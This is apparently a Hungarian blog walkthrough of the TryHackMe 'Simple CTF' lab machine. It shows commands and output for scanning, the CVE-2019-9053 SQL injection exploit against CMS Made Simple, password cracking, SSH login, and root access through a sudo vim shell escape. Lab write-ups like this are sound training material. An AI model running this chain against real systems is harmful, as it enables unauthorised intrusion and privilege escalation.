Posts Simple CTF - Beginner level ctf
Post
Cancel

Simple CTF - Beginner level ctf

image alternative text

Simple CTF

IP

Hogy ne felejtsük el, exportáljuk a tryhackme-s IP-t az adott terminálba.

1
export IP=10.10.231.115

ENUMERÁCIÓ

Kezdjünk egy nmap-el, scanneljük le az első 1000 portot:

1
nmap -sSV -A -p1-1000 -Pn -vv -oA simple_ctf.p1000 $IP

Kimenet:

[...]

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.14.9.60
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

[...]

1 - How many services are running under port 1000?

Vagyis, hány szolgáltatás fut az 1000-es port alatt?

Látjuk, hogy fut a vsftpd 3.0.3 és be van kapcsolva az Anonymous FTP login, valamint fut a 80-as porton az Apache httpd 2.4.18.

Válasz: 2


2 - What is running on the higher port?

Mi fut a legmagasabb (nyitott) porton?

1
nmap -sSV -A -p1000-65535 -Pn -vv -oA simple_ctf.p65535 $IP

Kimenet:

[...]

2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)

[...]

A legmagasabb port ami nyitva van az a 2222-es. Ezen egy ssh szolgáltatás fut.

válasz: SSH


3 - What's the CVE you're using against the application?

Mi az a CVE, amelyet az alkalmazás ellen használ?

1
gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 20 -u http://$IP/

Kimenet:

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.231.115/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
2021/07/14 22:47:37 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 302]
/.hta                 (Status: 403) [Size: 292]
/.htpasswd            (Status: 403) [Size: 297]
/.htaccess.php        (Status: 403) [Size: 301]
/.htpasswd.php        (Status: 403) [Size: 301]
/.hta.php             (Status: 403) [Size: 296]
/.htaccess.txt        (Status: 403) [Size: 301]
/.htpasswd.txt        (Status: 403) [Size: 301]
/.hta.txt             (Status: 403) [Size: 296]
/.hta.html            (Status: 403) [Size: 297]
/.htpasswd.html       (Status: 403) [Size: 302]
/.htaccess            (Status: 403) [Size: 297]
/index.html           (Status: 200) [Size: 11321]
/index.html           (Status: 200) [Size: 11321]
/robots.txt           (Status: 200) [Size: 929]  
/robots.txt           (Status: 200) [Size: 929]  
/server-status        (Status: 403) [Size: 301]  
/simple               (Status: 301) [Size: 315] [--> http://10.10.231.115/simple/]
                                                                                  
===============================================================
2021/07/14 22:48:33 Finished
===============================================================

Ami innen fontos nekünk az a /simple mappa. A http://$IP/simple/ mögött tárolt alkalmazás egy CMS rendszer (CMS Made Simple 2.2.8 verzió). Számos biztonsági rés létezik, de a legfontosabb a CVE-2019-9053.

válasz: CVE-2019-9053


4 - To what kind of vulnerability is the application vulnerable?

4 - Milyen sebezhetőségnek van kitéve ez az alkalmazás?

Ez a CVE egy SQL Injection-ről szól, amelyet általában sqli-nek neveznek.

Válasz: SQLi


5 - What’s the password?

Mi a jelszó?

Használjuk ki. A python-exploit itt érhető el: exploits/46635

vagy, ha egyszerűbb megoldásra törekszünk:

1
searchsploit cms made simple 2.2.10

Kimenet:

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection                                                                                                                                                                    | php/webapps/46635.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------

Aztán kimásoljuk egy tetszőleges könyvtárba:

1
searchsploit -m php/webapps/46635.py ~/thm/machines/simple_ctf/

Ezután futtassuk le a python exploitot:

1
python 46635.py -u http://$IP/simple/ --crack -w /usr/share/dirb/wordlists/others/best110.txt

Kimenet:

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

Válasz: secret


6 - Where can you login with the details obtained?

6 - Hol lehet bejelentkezni a megszerzett adatokkal?

Ezeket a hitelesítő adatokat használhatjuk az ssh (2222-es porton futó) bejelentkezéshez:

Válasz: SSH


7 - What’s the user flag?

7 - Mi a user flag?

Jelen esetben az sshpass nevű programot fogom segítségül hívni a sima ssh-hez. Ha neked nincs fent az sshpass akkor se csüggedj, apt-on fent van, tehát:

1
sudo apt-get update -y; sudo apt-get install sshpass -y

Ha ezzel megvagyunk használhatnánk is, ennek a parancsnak a kimenetében megkapjuk a user.txt eredményét:

1
sshpass -p secret ssh mitch@$IP -p 2222 cat user.txt

8 - Is there any other user in the home directory? What’s its name?

8 - Van-e más felhasználó a home könyvtárban? Mi a neve?

Találunk egy másik felhasználót a /home könyvtárban:

1
ls -l /home

Kimenet:

total 8
drwxr-x---  3 mitch   mitch   4096 aug 19  2019 mitch
drwxr-x--- 16 sunbath sunbath 4096 aug 19  2019 sunbath

Válasz: sunbath


9 - What can you leverage to spawn a privileged shell?

9 - Mit tud kihasználni egy privilegizált shell létrehozására?

Amikor csatlakozunk, úgy tűnik, hogy van egy interaktív shellünk, de ez nem egy teljes értékű shell. (pl. Nincs TAB befejezés, nem tudunk nyilakat használni stb.). Ezt egyébként könnyű megkerülni:

1
mitch@Machine:~$ python -c 'import pty; pty.spawn("/bin/bash")'

Most van egy többé-kevésbé normalizált shellünk! Lássuk, mit tudunk futtatni root-ként, sudo nélkül:

1
2
3
mitch@Machine:~$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Tehát a vim root-ként futtatható jelszó nélkül.

1
mitch@Machine:/home$ sudo vim

Most futtassuk a vim-et, és kezdjük el gépelni a következőket: :shell és ENTER. Hoppá! Van egy héjad root jogokkal!

Válasz: vim


What's the root flag?

Mi a root flag?

Ezt könnyen kideríthetjük:

1
2
root@Machine:/home# cd /root/
root@Machine:/root# cat root.txt

PWNED.



This post is licensed under CC BY 4.0 by the author.